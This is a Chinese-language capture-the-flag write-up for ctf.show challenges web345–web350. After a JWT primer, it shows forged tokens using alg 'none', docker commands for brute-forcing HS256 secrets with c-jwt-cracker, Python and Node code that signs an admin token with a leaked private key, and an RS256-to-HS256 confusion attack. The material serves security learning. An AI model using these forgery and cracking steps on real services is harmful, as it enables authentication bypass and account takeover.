web345
什么是jwt
jwt是一个开放标准,它定义的一种紧凑的 自包含的方式,用于所谓json对象在各方之间安全的传输信息.该信息可以被验证和信任,因为它是数字签名的.
使用场景
一次性验证 比如用户注册后需要发放一封邮件让其激活账户,通常邮件中只需要有一个链接,这个链接需要具备以下的特性:能够标识用户,该链接具有时效性(通常只允许几个小时内激活),不能被篡改其激活其他可能的账户…这种场景就和jwt的特性非常 的贴近,jwt的payload中固定的参数:iis签发这和exp过期时间正式为其准备的 restful api的无状态认证 使用jwt来做restful api的身份认证也是值得推崇的一种使用方案.客户端和服务器共享secret;过期时间有服务端效验,客户端定时刷新;签名信息不可被更改,spring security oauth jwt 提供了一套完整的jwt认证体系
jwt结构
jwt由三部分构成,他们之间用远点(.)连接.这三部分分别是
HeaderPayloadSignature
具体示例如下
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
Header
jwt的头部由两部分信息组成
type:声明类型,这里是jwtalg:声明加密的算法 通常直接使用HMAC SHA256
完整的头部信息如下
{
"type":"jwt",
"alg":"HS256"
}
对头部信息进行base64编码得到第一部分信息
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Payload
载荷就是存放有效信息的地方,它包含声明要求.声明有三种类型
registered claims:标准中注册的声明,这里有一组预定义的声明,他们不是强制的,但是推荐public claims:公共的声明private claims:私有的声明
标准中注册的声明
iss: jwt签发者sub: jwt所面向的用户aud: 接收jwt的一方exp: jwt的过期时间,这个过期时间必须要大于签发时间nbf: 定义在什么时间之前,该jwt都是不可用的iat: jwt的签发时间jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击
公共的声明:
公共的声明可以添加任何信息,一般添加用户的相关信息或者其他业务需要的必要信息,但是不建议添加敏感信息,因为该部分可以在客户端解密
私有的声明:
私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息
对payload进行base64加密得到了jwt的第二部分内容
signature
jwt的第三部分是一个签证信息,这个签证信息由三部分组成:
header(base64)payload(base64)secret
第三部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密凡是进行加盐secret组合加密,然后就构成了jwt的第三部分
注意
secret是保存在服务器端的,jwt的签发生成也是在服务器端的,secret就是用来进行jwt的签发和jwt的验证.所以它就是你服务端的私钥,在任何场景都不应该泄露出去.一旦客户端得知增secret,那么就意味着客户端可以自我签发jwt了
https://www.jianshu.com/p/4a124a10fcaf
题目
这里提示访问admin文件夹
要注意使用 url 访问网页时 /admin 表示访问 admin.php 文件 /admin/ 表示访问 admin/目录下的文件,默认是 index.php 很像文件夹,所以此处应该访问 /admin/
cookie看着像jwt
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0A.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NDg0NTY0OTksImV4cCI6MTY0ODQ2MzY5OSwibmJmIjoxNjQ4NDU2NDIyMjI5OSwic3ViIjoiYWRtaW4ifV0
alg加密算法为none
sub为user改为admin重新登录下试试
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.
[{"iss":"admin","iat":1648459436,"exp":1648466636,"nbf":1648459436,"sub":"admin","jti":"8b158096b6e36731237170f44d95d21f"}]
合起来,很奇怪这里执行不成功
前面删了才能执行成功,感觉是不是环境的问题
web346
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0ODcxNTE4MywiZXhwIjoxNjQ4NzIyMzgzLCJuYmYiOjE2NDg3MTUxODMsInN1YiI6InVzZXIiLCJqdGkiOiJkM2Y3YjhiOTA3YWE1M2UyZTA3MTlmOWY0MTQ3ZmFiYSJ9.Zyy2DOiFSao6aLvThffBR4ZYCShY9wLwN2rjelgn-3o
第一段
{"alg":"HS256","typ":"JWT"}
sh256加密
第二段
{"iss":"admin","iat":1648715183,"exp":1648722383,"nbf":1648715183,"sub":"user","jti":"d3f7b8b907aa53e2e0719f9f4147faba"}
前面算法保证了jwt在传输的过程中不被恶意用户修改,但是header中的alg字段可被修改为none,一些jwt库支持none算法,即使没有签名算法,当alg为none时后端不会进行签名校验,将alg修改为none之后,去掉jwt中的signature数据,只剩header.payload.(这里的.不是句号哦).然后提交到服务端即可
修改
{"alg":"None","typ":"JWT"}
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0
{"iss":"admin","iat":1648715183,"exp":1648722383,"nbf":1648715183,"sub":"admin","jti":"d3f7b8b907aa53e2e0719f9f4147faba"}
eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0ODcxNTE4MywiZXhwIjoxNjQ4NzIyMzgzLCJuYmYiOjE2NDg3MTUxODMsInN1YiI6ImFkbWluIiwianRpIjoiZDNmN2I4YjkwN2FhNTNlMmUwNzE5ZjlmNDE0N2ZhYmEifQ
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0ODcxNTE4MywiZXhwIjoxNjQ4NzIyMzgzLCJuYmYiOjE2NDg3MTUxODMsInN1YiI6ImFkbWluIiwianRpIjoiZDNmN2I4YjkwN2FhNTNlMmUwNzE5ZjlmNDE0N2ZhYmEifQ.
记得访问/admin/页面哦
web347
c-jwt-cracker
先安docker
docker build . -t jwtcrack
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTA4MTgyOSwiZXhwIjoxNjQ5MDg5MDI5LCJuYmYiOjE2NDkwODE4MjksInN1YiI6InVzZXIiLCJqdGkiOiJkNWM2Yjg5MTBjYjMzZmZkZTVkN2NlNzRiM2E1ZTllNiJ9.4SRvUVI8lQ_yfMrKsSVcjnQvFEojGt0LvXu4gkX4amY 1234567890
这里定义密钥为数字快一点
改一下拿去访问/admin/就好
web348
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTA4MzM5OSwiZXhwIjoxNjQ5MDkwNTk5LCJuYmYiOjE2NDkwODMzOTksInN1YiI6InVzZXIiLCJqdGkiOiIwOTJlMTBhMzJlOTY2ZDY2NGM4MWMzM2QyMjlhMzY4ZSJ9.lLsYI7NGjbb4xdzmyR1YkPSgcksnBiNm4eWmVqQ2Q2U asdfghjklpoiuytrewqzxcvbnm0987654321
web349
给了一个aap.js
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
})
是rs256加密,有公钥和私钥,从app.py文件中可以看到从public/private.key读取了私钥
https://f86be22f-fd82-48a7-a764-23d8f76ecd98.challenge.ctf.show//private.key
试一下在这个目录下下载了私钥
接着有两种方法,一是得到私钥和公钥解密加密.二是用私钥自己生成公钥
jwt.io网站解不了,用python了
# python3
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AH4YkjLWhtkoxco48abhQ7MUfxBgyfP3OffsS6cZmHtfLpVlv9t8bZAnW-CVbLkHfu4vzQI_OiPdBQP-a3xJIOq3hf0jsMAsijn-XKaaDZtv3cg4a0RvjpEHLYCN89KpigGHC0vtOb6OzffdmkPVN8vcYJby742vD_YhDDHw6pU
这次是用post访问原始目录
自己安装node.js并安装jsonwebtoken库
npm install jsonwebtoken --save
运行node.js
node
传入下面的值,要在private.key目录运行node哦
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)
web350
给了源码包,只有一个公钥
同样的加密
将 RS256 算法改为 HS256(非对称密码算法=>对称密码算法)
HS256算法使用密钥为所有消息进行签名和验证
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证
如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名
由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名
这样的话,后端代码使用RSA公钥+HS256算法进行签名验证
记得替换一下原先目录下的公钥文件哦
破解HS256(对称加密算法)密钥
如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥,例如将密钥字符串用作PyJWT库示例代码中的密钥的时候情况就是如此。
然后,用蛮力方式对密钥进行猜解,具体方法很简单:如果密钥正确的话,解密就会成功;如果密钥错误的话,解密代码就会抛出异常。
此外,我们也可以使用PyJWT或John Ripper进行破解测试。
附录:相关工具
PyJWT库具体地址为:https://github.com/jpadilla/pyjwt。
>>> import jwt
>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'
>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])
{'some': 'payload'}
推荐阅读
发表评论